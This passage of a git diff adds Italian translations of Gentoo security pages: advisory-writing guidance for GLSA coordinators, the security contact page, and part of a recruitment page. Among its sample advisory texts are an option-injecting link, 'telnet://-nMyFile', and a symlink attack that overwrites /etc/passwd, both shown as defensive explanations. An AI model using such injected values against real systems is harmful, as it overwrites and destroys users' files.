+    Il K Desktop Environment (KDE) è un potente ambiente grafico desktop della
+    Free Software Foundation. KDE usa gli URI handlers per innescare vari
+    programmi quando vengono ricevute delle URL specifiche.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    CVS (Concurrent Versions System) è un sistema open-source di controllo di
+    versione network-transparent. Contiene sia una client utility che un
+    server.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Metamail è un programma che decodifica la posta codificata MIME. Viene
+    quindi spesso automaticamente invocato quando una email viene letta o
+    ricevuta.
+  </ti>
+</tr>
+</table>
+
+<p>
+La sezione "descrizione" descrive più in dettaglio qual è la vulnerabilità senza
+dire cosa accade quando questa viene sfruttata. Dovrebbe essere comprensibile da
+persone senza grandissime basi di sicurezza. A volte non si trovano affatto le
+informazioni sulla vulnerabilità, in questi casi lasciare la descrizione
+breve. Tra i buoni esempi si include:
+</p>
+
+<table>
+<tr>
+  <ti>
+    Il Telnet URI handler in Opera non controlla l'esistenza di caratteri '- '
+    iniziali nell'hostname. Di conseguenza, un link maligno del tipo telnet://
+    potrebbe essere capace di passare opzioni al telnet stesso. Un esempio
+    sarebbe "telnet://-nMyFile". Se MyFile esiste nella home directory
+    dell'utente e l'utente che clicca sul link ha i permessi di scrittura su di
+    esso, i contenuti del file saranno sovrascritti con'output delle
+    informazioni del telnet trace. Se MyFile non esiste, il file verrà generato
+    nella home directory dell'utente.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    L'utility di bug reporting di MySQL(mysqlbug) genera un file temporaneo per
+    loggarvi i bug reports. Un utente locale "maligno" con diritti di scrittura
+    su /tmp potrebbe generare un link simbolico dal nome mysqlbug-N puntante ad
+    un file protetto, come /etc/passwd, in modo tale che qualora mysqlbug
+    generasse l'ennesimo file di log, finirebbe con il sovrascrivere l'obiettivo
+    (in questo esempio, /etc/passwd). Una vulnerabilità simile esiste con la
+    mysql_multi utility, che genera una file temporaneo denominato
+    mysql_multi.log
+</ti>
+</tr>
+<tr>
+  <ti>
+    Vulnerabilità  multiple sono state scovate e riparate nell'RTSP che gestisce
+    il codice in comune alle versioni recenti di questi due pacchetti. Queste
+    vulnerabilità includono parecchi buffer overflow sfruttabili da remoto.
+  </ti>
+</tr>
+</table>
+
+<p>
+La sezione "Impact" descrive l'effetto globale delle vulnerabilità descritte
+nella sezione "descrizione", una volta sfruttate. Dovrebbe focalizzarsi sul
+massimo rischio possibile. Buoni esempi sono:
+</p>
+
+<table>
+<tr>
+  <ti>
+    Un attaccante remoto, presentandosi come RTSP stream server, può eseguire
+    codice in modo arbitrario con i diritti dell'utente del software che sta
+    eseguendo lo stream (MPlayer o qualsiasi altro player che utilizzi
+    xine/xine-lib). Un altro attaccante può attirare un utente per usare un URL
+    "maligna" o una playlist per ottenere lo stesso identico risultato
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Questa vulnerabilità ha due possibili effetti. In primo luogo, può generare
+    nuovi file nella home directory dell'utente. In secondo luogo, e molto più
+    pericolosao, può sovrascrivere i file esistenti per i quali l'utente ha i
+    permessi di scrittura. Un attaccante con una certa conoscenza della home
+    directory dell'utente potrebbe essere in grado di distruggere file
+    importanti salvati in quella directory.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Workaround, Soluzione</title>
+<body>
+
+<p>
+Il workaround descrive se esiste un qualsiasi maniera semplice (tranne
+l'aggiornamento alla versione correttiva) per evitare di essere vittime della
+vulnerabilità.  I buoni esempi includono:
+</p>
+
+<table>
+<tr>
+  <ti>
+    Come workaround provvisorio, bypassando il supporto del Kerberos 4, potreste
+    spegnere il kadmin del Kerberos 4 facendo partire il kadmind con l'opzione
+    -- no-kerberos4.
+  </ti>
+</tr>
+<tr>
+  <ti>Ad oggi non esistono workaround conosciuti.</ti>
+</tr>
+</table>
+
+<p>
+La sezione "Risoluzione" spiega in termini umanamente comprensibili che cosa
+bisogna fare per essere completamente protetti dalla vulnerabilità. Questa
+sezione deve assomigliare a quanto segue:
+</p>
+
+<pre caption="Esempio di risoluzione">
+Tutti gli utenti di Heimdal dovrebbero effettuare l'aggiornamento all'ultima versione stabile:
+&lt;code&gt;
+# emerge sync
+# emerge --ask --oneshot --verbose "&gt;=app-crypt/heimdal-0.6.2"
+</pre>
+
+<p>
+Qualora vi fossero più architetture, dovrebbe assomigliare a questa
+</p>
+
+<pre caption="Esempio per architetture multiple">
+Gli utenti di OpenOffice.org su SPARC dovrebbero:
+&lt;code&gt;
+# emerge sync
+# emerge --ask --oneshot --verbose "&gt;=app-office/openoffice-1.1.0-r3"&lt;/code&gt;
+&lt;/p&gt;
+&lt;p&gt;
+
+Gli utenti di OpenOffice.org su PPC dovrebbero:
+&lt;/p&gt;
+&lt;code&gt;
+# emerge sync
+# emerge --ask --oneshot --verbose "&gt;=app-office/openoffice-1.0.3-r1"
+</pre>
+
+<p>
+Se il GLSA riguarda una libreria condivisa, includere il seguente paragrafo
+all'estremità della sezione "risoluzione" per avvisare circa la necessità di
+effettuare la ricompilazione degli eseguibili collegati.
+</p>
+
+<table>
+<tr>
+  <ti>
+    I pacchetti che dipendono da questa libreria  possono avere bisogno di
+    essere ricompilati. Strumenti come revdep-rebuild possono aiutare
+    nell'identificare alcuni dei questi pacchetti.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Riferimenti</title>
+<body>
+
+<p>
+La sezione "Riferimenti" dovrebbe fornire i collegamenti alle informazioni di
+riferimento sulla vulnerabilità in questione. Quando un numero CVE
+(CVE-xxxx-xxx) è disponibile, dovrebbe essere fornito (con il numero CVE
+completo nel Titolo, "Title"). Si può anche collegare un advisory di uno
+sviluppatore originale e/o un'email di annuncio, quando disponibili. Evitare
+link ad advisory di altre distribuzioni o advisory non ufficiali provenienti da
+entità esterne.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Pubblicazione GLSA</title>
+<section>
+<title>Revisione tra colleghi</title>
+<body>
+
+<p>
+Quando la bozza iniziale è pronta, deve essere sottoposta alla revisione degli
+altri membri del team di sicurezza, effettuando una richiesta di revisione sul
+canale #gentoo-security. La versione finale (dopo che tutte le correzioni sono
+state applicate) deve essere approvata da due membri del team di sicurezza prima
+di essere committata e spedita.
+</p>
+
+<p>
+Nel rivedere la bozza di un GLSA, controllare con attenzione le seguenti cose:
+</p>
+
+<ul>
+  <li>
+    Versioni colpite/inalterate (Controllare nel Changelog che le versioni siano
+    corrette e assicurarsi che non vi siano versioni che non siano definite o
+    colpite o inalterate).
+  </li>
+  <li>Correttezza del titolo.</li>
+  <li>
+    Severity ed accesso (Non fare solo riferimento al rating del bug e se è
+    necessario un account locale o remoto per un accesso "local o remote").
+  </li>
+  <li>
+    Alla fine viene effettuato un sanity check: si verifica che sia veramente
+    una vulnerabilità e non un semplice bug (come le non-vulnerabilità di samba
+    e shadow)
+  </li>
+</ul>
+
+<p>
+Quando la bozza viene approvata, deve esserle assegnato un numero ufficiale
+GLSA. Ciò viene fatto chiamando la funzione "Move" in GLSAMaker per spostare la
+bozza dalla zona di sviluppo alla zona ufficiale.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA XML commit</title>
+<body>
+
+<p>
+Bisogna effettuare il commit del GLSA XML nell'albero del CVS di Gentoo in modo
+che compaia automaticamente nella gestione del feed RDF, nella lista dei GLSA e
+negli aggiornamenti di portage. Aggiornare in primo luogo la propria directory
+GLSA nel tree del repository gentoo CVS:
+</p>
+
+<pre caption="Aggiornamento albero CVS">
+you@home you $ <i>cd gentoo_cvs</i>
+you@home gentoo_cvs $ <i>cvs update -dP gentoo/xml/htdocs/security</i>
+</pre>
+
+<p>
+A questo punto cliccare <c>Fetch</c> nel GLSA per scaricare la versione XML,
+e salvarla nella propria directory
+gentoo_cvs/gentoo/xml/htdocs/security/en/glsa/ . A questo punto effettuare il
+commit ed aggiungere il file XML:
+</p>
+
+<pre caption="Commit GLSA">
+you@home gentoo_cvs $ <i>cd gentoo/xml/htdocs/security/en/glsa</i>
+you@home glsa $ <i>cvs add glsa-YYYYMM-NN.xml</i>
+you@home glsa $ <i>cvs commit -m "GLSA YYYYMM-NN" glsa-YYYYMM-NN.xml</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Annuncio via E-mail</title>
+<body>
+
+<warn>
+Ogni volta che viene utilizzata una nuova installazione (software o macchina)
+per inviare un annuncio GLSA, assicurarsi che il proprio setup venga
+controllato, inviando un'email di test ad un altro membro del team di sicurezza.
+</warn>
+
+<p>
+Cliccare su Txt download per ottenere una versione di testo del GLSA.
+Controllare che la sezione colpite/inalterate (affected/unaffected) sembri a
+posto, quindi preparare una mail con le seguenti regole:
+</p>
+
+<ul>
+  <li>
+    <b>Da </b> e<b>Indirizzo di Ritorno</b> devono essere impostati a
+    tuonome@gentoo.org
+  </li>
+  <li>
+    <b>To</b> e<b>Cc</b> dovrebbero essere configurati secondo regolamento
+  </li>
+  <li>
+    <b>Oggetto</b> deve essere "[ GLSA XXXXYY-ZZ ] la propria vulnerabilità qui"
+    (copiare/incollare  dal titolo nel file di testo)
+  </li>
+  <li>
+    Il corpo della mail dovrebbe corrispondere al contenuto del file di testo,
+    dall'intestazione "Gentoo Linux Security Advisory" alla fine del file
+  </li>
+  <li>
+    L'email deve essere firmata dalla chiave GPG per l'indirizzo
+    tuonome@gentoo.org
+  </li>
+</ul>
+
+<note>
+Si riceverà un'email di ritorno da gentoo-announce dicendo che è richiesta
+moderazione. Basta rispondere a questa mail e l'email di annuncio
+precedentemente menzionata arriverà a destinazione.
+</note>
+
+</body>
+</section>
+<section>
+<title>Chiusura dei bug</title>
+<body>
+
+<p>
+Controllare che la mail sia arrivata a gentoo-announce, poi è possibile chiudere
+i(l) bug relativo, regolando la condizione a <b>RESOLVED/FIXED</b>, con un
+commento indicante il numero di GLSA.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pubblicazione Errata/Aggiornamenti</title>
+<body>
+
+<p>
+Un errata viene pubblicato quando viene commesso un errore, altrimenti si sta
+parlando di un aggiornamento. Quando la politica garantisce una ripubblicazione
+dovrebbero essere seguite queste linee guida:
+</p>
+
+<ul>
+  <li>
+    Il campo revisione dovrebbe essere correttamente impostato in XML. Ciò
+    significa che la revisione potrebbe avere bisogno di di essere corretta
+    manualmente nella directory data di GLSAMaker, se si effettuano cambiamenti
+    multipli usando GLSAMaker (es. &lt;revised&gt;September 10, 2004:
+    02&lt;/revised&gt;)
+  </li>
+  <li>
+    Se non sussiste vulnerabilità nessun pacchetto colpito dovrebbe essere
+    elencato nell'XML
+  </li>
+  <li>
+    Il titolo può cambiare (es. GLSA 200409-14 per Samba e GLSA 200411-01 per
+    ppp)
+  </li>
+  <li>
+    Non tutti gli Errata richiedono ripubblicazione. La politica spiega
+    dettagliatamente quando la ripubblicazione è necessaria.
+  </li>
+  <li>
+    Per la versione di testo GLSAmaker può aggiungere le informazioni relative
+    agli aggiornamenti ed alle errata. Si seguano manualmente le istruzioni
+    fornite da GLSAmaker.
+  </li>
+  <li>
+    La versione testuale deve contenere la sezione degli aggiornamenti o delle
+    errata (si veda l'esempio indicato sotto) e soltanto DOPO QUESTO solo
+    sezioni vengono cambiate (la versione XML non ha sezioni aggiuntive)
+  </li>
+</ul>
+
+<table>
+<tr>
+  <ti>
+    Questo advisory è stato descritto via ppp in maniera non corretta come
+    vulnerabile ad un DoS. Dopo ulteriori verifiche, sembra che un utente remoto
+    possa negare soltanto il servizio a sé stesso, quindi questo bug non induce
+    alcun problema di sicurezza. Le sezioni corrette compaiono qui sotto.
+  </ti>
+</tr>
+</table>
+
+<p>
+Ecco due esempi completi di errata email, si veda <uri
+link="http://archives.gentoo.org/gentoo-announce/msg_59c7b7e81a7acacb1cbde24ab708f07a.xml">
+ERRATA:   [GLSA 200409-14 ] Samba: Remote printing non-vulnerability</uri> (dove
+non sono presenti reali vulnerabilità) e <uri
+link="http://archives.gentoo.org/gentoo-announce/msg_e75f5d493fea7c6f718a850abd59598a.xml">
+ERRATA:   [GLSA 200801-09  ] X.Org X server and Xfont library: Multiple vulnerabilities</uri>
+(dove i problemi non sono risolti correttamente nella prima versione). Per un
+aggiornamento si veda <uri
+link="http://archives.gentoo.org/gentoo-announce/msg_0f18bca197c64b634db757a18d2ae492.xml">
+UPDATE:   [GLSA 200410-30 ] GPdf, KPDF, KOffice: Vulnerabilities in included
+xpdf</uri> (dove la correzione ha introdotto un'altra vulnerabilità ).
+</p>
+
+<p>
+Altrimenti dovrebbero essere seguite le linee guida standard GLSA.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Strumenti per i Coordinatori GLSA</title>
+<section>
+<title>Raccolta delle Informazioni</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://dev.gentoo.org/~vorlon/packageview/">packageview</uri> è
+    uno strumento che aprirà packages.gentoo.org e Gentoo ViewCVS nel punto
+    giusto per una categoria e una nome pacchetto assegnati. Aiuta a determinare
+    quali keyword sono richieste per tracciare i cambiamenti di un pacchetto.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Guide GLSA per la pubblicazione</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://dev.gentoo.org/~falco/glsacommit.txt">glsacommit</uri> è
+    una funzione bash che si occupa delle gestione del commit dei GLSA.
+    Caratterizzato dall'ssh-agent keyadding, glsa-check controlla più volte la
+    conformità ed ha delle funzioni "Sei sicuro?". Modificarlo per soddisfare le
+    proprie necessità e le posizioni delle directory.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Security Subversion repository</title>
+<body>
+
+<ul>
+  <li>
+    Il <uri link="http://overlays.gentoo.org/proj/security/timeline">Repository
+    Subversion Sicurezza</uri> contiene diversi strumenti per valutare in modo
+    collaborativo se Gentoo è affetta da nuovi identificatori CVE, e strumenti
+    per determinare le keywords di destinazione. Molti strumenti interagiscono
+    direttamente con Bugzilla, rendendo non necessari i copia-incolla manuali.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/it/index.xml b/xml/htdocs/security/it/index.xml
new file mode 100644
index 00000000..35188aae
--- /dev/null
+++ b/xml/htdocs/security/it/index.xml
@@ -0,0 +1,277 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/it/index.xml,v 1.4 2009/07/02 22:02:53 scen Exp $ -->
+
+<guide link="/security/it/index.xml" lang="it">
+<title>La sicurezza in Gentoo Linux</title>
+
+<author title="Autore">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Autore">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Autore">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Traduzione">
+  <mail link="walpis@yahoo.it">Walter Pisani</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questa pagina è il punto di inizio per tutti i problemi di sicurezza in Gentoo
+Linux
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.3</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>La sicurezza in Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+La sicurezza è un punto principale in Gentoo Linux e garantire riservatezza e
+sicurezza alle proprie macchine è di massima importanza. Il <uri
+link="/proj/en/security/">Gentoo Linux Security Project</uri> ha il compito di
+fornire tempestivamente informazioni sulle vulnerabilità di sicurezza in Gentoo
+Linux, insieme alle patch per risolvere le vulnerabilità. I membri di q
+uesto progetto lavorano direttamente con i venditori, utenti finali e altri
+progetti OSS per garantire che tutti gli incidenti di sicurezza siano gestiti
+con velocità e professionalità.
+</p>
+
+<p>
+È possibile trovare un documento che descrive le politiche del team di sicurezza
+che segue la gestione delle vulnerabilità trovate nella distribuzione Gentoo
+Linux alla pagina <uri link="/security/it/vulnerability-policy.xml">Politiche di
+gestione delle vulnerabilità</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installare un sistema Gentoo sicuro</title>
+<body>
+
+<p>
+Il <uri link="/doc/it/security/">Manuale sulla sicurezza per Gentoo</uri> offre
+informazioni e consigli per costruire un sistema sicuro e rafforzare un sistema
+esistente.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mantenere il proprio sistema Gentoo sicuro</title>
+<body>
+
+<p>
+Per essere aggiornati con le fix di sicurezza bisogna richiedere la ricezione
+delle GLSA e applicare le instruzioni GLSA ogniqualvolta si abbia un pacchetto
+affetto installato. In alternativa, sincronizzare il proprio portage tree e
+aggiornare ogni pacchetto dovrebbe mantenere aggiornata la sicurezza.
+</p>
+
+<p>
+L'integrazione dei soli aggiornamenti di sicurezza negli strumenti di Portage
+è in preparazione. In questo momento, si può provare lo strumento
+<c>glsa-check</c> sperimentale (parte del pacchetto <e>gentoolkit</e>) che
+controlla se le specifiche GLSA sono applicate sul proprio sistema (opzione
+<c>-p</c>), elenca tutte le GLSA con lo stato applicato/affetto/non affetto
+(opzione <c>-l</c>) o applica determinate GLSA al proprio sistema (opzione
+<c>-f</c>).
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Gentoo Linux Security Announcements (GLSA)</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux Security Announcements (ndT Annunci di Sicurezza Gentoo Linux) sono
+avvisi inviati alla comunità per informare sulle vulnerabilità di sicurezza
+relative a Gentoo Linux o sui pacchetti contenuti nell'insieme dei pacchetti di
+Portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>Consultazioni Recenti</title>
+<body>
+
+<glsa-latest/>
+
+<p>Per la lista di tutte le pubblicazioni GLSA, visitare <uri
+link="/security/en/glsa/index.xml">la pagine con l'indice delle GLSA</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come ricevere le GLSA</title>
+<body>
+
+<p>
+Gli avvisi GLSA sono inviati alla <uri
+link="/main/it/lists.xml">mailing-list gentoo-announce@gentoo.org</uri>, e l'RDF
+è disponibile a <uri
+link="/rdf/en/glsa-index.rdf">http://www.gentoo.org/rdf/en/glsa-index.rdf</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Informazione di contatto del team di sicurezza</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux prende molto seriamente i rapporti delle vulnerabilità di
+sicurezza. Si prega di registrare i nuovi rapporti di vulnerabilità su <uri
+link="https://bugs.gentoo.org">Gentoo Bugzilla</uri>, assegnarli al prodotto
+<e>Gentoo Security</e> e al componente <e>Vulnerabilities</e> . Cliccare <uri
+link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=Vulnerabilities">
+qui</uri> per inviare direttamente una nuova vulnerabilità di sicurezza. Il Team
+di sicurezza di Gentoo Linux assicura che tutti i rapporti di bug relativi alla
+sicurezza saranno gestiti in maniera opportuna.
+</p>
+
+<p>
+Se vengono trovati errori o omissioni nelle pubblicazioni delle GLSA, bisogna
+registrare un bug in <uri link="https://bugs.gentoo.org">Gentoo Bugzilla</uri>
+nel prodotto <e>Gentoo Security</e> , ma con il componente <e>GLSA Errors</e>.
+Cliccare <uri
+link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=GLSA%20Errors">
+qui</uri> per inviare direttamente un nuovo GLSA bug.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contatti Confidenziali</title>
+<body>
+
+<p>
+Ci sono due opzioni per inviare una vulnerabilità non pubblica al Team di
+Sicurezza di Gentoo Linux. Si può inviare un bug tramite <uri
+link="https://bugs.gentoo.org/">Gentoo Bugzilla</uri> usando l'azione
+<e>New-Expert</e> e selezionando il checkbox <e>Gentoo Security</e> nella
+sezione <e>SOnly users in all of the selected groups can view this bug</e>. È
+anche possibile contattarli direttamente usando una mail criptata ad uno dei
+seguenti contatti di sicurezza:
+</p>
+
+<table>
+<tr>
+  <th>Nome</th>
+  <th>Responsabilità</th>
+  <th>Email</th>
+  <th>GPG keyID (cliccare per recuperare la chiave pubblica)</th>
+</tr>
+<tr>
+  <ti>Robert Buchholz</ti>
+  <ti>Co-responsabile operativo</ti>
+  <ti><mail link="rbu@gentoo.org">rbu@gentoo.org</mail></ti>
+  <ti>
+    <uri
+    link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0xCE7E8339">
+    0xCE7E8339</uri>
+  </ti>
+</tr>
+ <tr>
+  <ti>Pierre-Yves Rofes</ti>
+  <ti>Co-responsabile operativo</ti>
+  <ti><mail link="py@gentoo.org">py@gentoo.org</mail></ti>
+  <ti>
+    <uri
+    link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0x320A2398">
+    0x320A2398</uri>
+  </ti>
+</tr>
+</table>
+
+<note>
+La lista completa di tutti gli sviluppatori di Gentoo, inclusa la chiave
+GPG ID, è consultabile nella <uri
+link="/proj/en/devrel/roll-call/userinfo.xml">lista degli sviluppatori
+attivi</uri>
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<title>Pagine di sicurezza</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/security/en/glsa/index.xml">Indice delle GLSA</uri> -- Lista di
+    tutte le pubblicazioni GLSA
+  </li>
+  <li>
+    <uri link="/rdf/en/glsa-index.rdf">GLSA RDFfeed</uri> -- GLSA RDF live
+    feed. È possibile limitare il numero di GLSA accodando "?num=n" all'URL,
+    dove "n" dev'essere sostituito con il numero di voce desiderate. Per esempio
+    <uri
+    link="http://www.gentoo.org/rdf/en/glsa-index.rdf?num=20">http://www.gentoo.
+    org/rdf/en/glsa-index.rdf?num=20</uri> elencherà le ultime 20 GLSA.
+  </li>
+  <li>
+    <uri link="/security/it/vulnerability-policy.xml">Politiche di gestione
+    delle vulnerabilità</uri> -- Le politiche ufficiali del Team di sicurezza
+  </li>
+  <li>
+    <uri link="/proj/en/security/">Gentoo Linux Security Project</uri> -- La
+    pagina del progetto di sicurezza
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Links</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/doc/it/security/">Manuale sulla sicurezza per Gentoo</uri> --
+    Guida passo passo per rafforzare Gentoo Linux
+  </li>
+  <li>
+    <uri link="/proj/en/hardened/">Gentoo Hardened Project</uri> -- Sicurezza
+    avanzata in Gentoo Linux
+  </li>
+  <li>
+    <uri link="/proj/en/server/">Gentoo Server Project</uri> -- Mettere a fuoco
+    specifici problemi di un server, come la sicurezza e la stabilità
+  </li>
+  <li>
+    <uri link="/proj/en/devrel/roll-call/userinfo.xml">Lista Sviluppatori
+    attivi</uri> -- Lista dei sviluppatori attivi, incluse le chiavi GPG che
+    possono essere usate per verificare le GLSA
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/it/padawans.xml b/xml/htdocs/security/it/padawans.xml
new file mode 100644
index 00000000..ecdf9c79
--- /dev/null
+++ b/xml/htdocs/security/it/padawans.xml
@@ -0,0 +1,345 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/it/padawans.xml,v 1.11 2010/05/04 20:18:22 scen Exp $ -->
+
+<guide link="/security/it/padawans.xml" lang="it">
+<title>Processo e stato dei Security Padawans</title>
+
+<author title="Autore">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Autore">
+  <mail link="dercorny@gentoo.org">Stefan Cornelius</mail>
+</author>
+<author title="Autore">
+  <mail link="falco@gentoo.org">Raphael Marichez</mail>
+</author>
+<author title="Autore">
+ <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="luigi.mantellini@idf-hit.com">Luigi 'Comio' Mantellini</mail>
+</author>
+<author title="Traduzione">
+  <mail link="zanetti.massimo@gmail.com">Massimo Zanetti</mail>
+</author>
+
+<abstract>
+Questo documento descrive le procedure che si applicano al processo di
+reclutamento del team di sicurezza e l'attuale stato di reclutamento.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.3.8</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Reclute Progetto Sicurezza</title>
+<section>
+<title>Padawan</title>
+<body>
+
+<p>
+Il processo di reclutamento nel gruppo di sviluppatori di sicurezza è differente
+dal processo principale di reclutamento. La conoscenza delle specificità di
+Gentoo non è così importante come potrebbe esserlo per altri tipi di
+sviluppatore, dato che non saranno necessari i permessi di commit sul Portage
+tree. Detto in altre parole, è necessario possedere un buon background in ambito
+di sicurezza, buona conoscenza del'inglese scritto e si avranno progressivamente
+maggiori responsabilità..
+</p>
+
+<p>
+Tutto il processo di reclutamento può estendersi da 2 a 3 mesi, in funzione
+delle capacità e conoscenze personali e dal tempo che si decide di investire nel
+progetto. Parlando proprio del tempo: la maggior parte delle attività che
+dovranno essere svolte coinvolgono meno di 10 minuti, ma bisogna poter reagire
+ai problemi con una bassa latenza. Perciò, la dedizione costante è più
+importante dell'avere grandi quantità di tempo libero. Le reclute del gruppo
+sicurezza in addestramento saranno chiamate all'interno di questo documento come
+<b>padawan</b>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stato corrente dei padawan</title>
+<body>
+
+<table>
+<tr>
+  <th>Nome del Padawan</th>
+  <th>Nome utente</th>
+  <th>Livello</th>
+  <th>Mentore</th>
+</tr>
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>NeilK</ti>
+<ti>mu-b</ti>
+<ti>Scout</ti>
+</tr>
+-->
+<tr>
+<ti>Tomás Touceda</ti>
+<ti>chiiph</ti>
+<ti>Allievo</ti>
+<ti>keytoaster</ti>
+</tr>
+
+<tr>
+<ti>Tony Vroon</ti>
+<ti>Chainsaw</ti>
+<ti>Allievo</ti>
+<ti>a3li</ti>
+</tr>
+
+<!-- inactive, rbu 2009-04-14<tr>
+<ti>Emanuele Gentili</ti>
+<ti>emgent</ti>
+<ti>Scout</ti>
+<ti>none yet</ti>
+</tr>-->
+<!-- nactive, a3li 2009-11-06<tr>
+<ti>Lars Hartmann</ti>
+<ti>psychoschlumpf</ti>
+<ti>Allievo</ti>
+<ti>attualmente nessuno</ti>
+</tr>
+-->
+<tr>
+<ti>Matti Bickel</ti>
+<ti>mabi</ti>
+<ti>allievo</ti>
+<ti>attualmente nessuno</ti>
+</tr>
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>Jule Slootbeek</ti>
+<ti>dizzutch</ti>
+<ti>Apprentice</ti>
+</tr>
+-->
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>Adir Abraham</ti>
+<ti>adir</ti>
+<ti>Apprentice</ti>
+</tr>
+-->
+</table>
+
+<note>
+Gli sviluppatori ed gli sviluppatori senior compaiono sulla pagina del <uri
+link="/proj/en/security/index.xml">Progetto Sicurezza</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Fasi del reclutamento</title>
+<section>
+<body>
+
+<p>
+Per diventare un padawan, bisogna inviare una richiesta contenente informazioni
+riguardanti le proprie conoscenze e qualifiche all'indirizzo <mail
+link="security@gentoo.org">security@gentoo.org</mail> e collegarsi al canale IRC
+#gentoo-security per avere una idea di come sono svolte le attività. È possibile
+leggere la guida <uri link="/security/it/coordinator_guide.xml">Coordinatore
+GLSA</uri> e se si è interessati al lavoro si può iniziare come uno Scout (ndt,
+sentinella).
+</p>
+
+</body>
+</section>
+<section>
+<title>Scout</title>
+<body>
+
+<p>
+Il primo passo nell'adesione al team è quello di essere uno scout. Si dovranno
+seguire le principali liste di discussione in materia di sicurezza e siti (a
+a scelta) sottomettendo bug non ancora elencati in <uri
+link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+Bug di Sicurezza correnti</uri>. È consigliabile ricercare eventuali bug
+duplicati prima di sottometterne uno. Uno sviluppatore senior sarà assegnato
+come proprio 'Mentore'. Lui sarà una guida rispondendo alle proprie domande
+(comunque, non si esiti a contattare ulteriori sviluppatori senior per ulteriore
+aiuto). È comunque saggio aggiunge la lista security@gentoo.org a quelle
+monitorate. Per fare questo, è sufficiente aprire le impostazioni del proprio
+account bugzilla, andare alla voce "Email Preferences" ed aggiungere
+security@gentoo.org nel box in basso. Fatto questo, ogni email inviata
+all'indirizzo security@gentoo.org, sarà recapitata al proprio indirizzo ad
+eccezione di quelle con restrizioni. Questo aiuterà a rimanere aggiornati.
+</p>
+
+<p>
+Oltre a compilare nuovi bug report di sicurezza, si è invitati a trovarne una
+eventuale soluzione ad essi (mettendo in CC i maintainer, modificando lo stato
